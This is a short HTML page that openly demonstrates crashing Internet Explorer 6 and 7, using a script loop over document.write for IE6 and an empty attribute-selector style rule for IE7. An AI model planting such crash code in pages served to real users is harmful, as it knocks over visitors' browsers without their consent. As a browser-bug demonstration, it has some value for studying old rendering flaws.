Untitled

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Crash IE6 + IE7</title>
<!--[if IE 6]>
<script>
for (x in document.write) {
	document.write(x);
}
</script>
<![endif]-->
<!--[if IE 7]>
<style>
button[value=""]{}
</style>
<![endif]-->
</head>
<body>
This should crash in IE6 + IE7.
</body>
</html>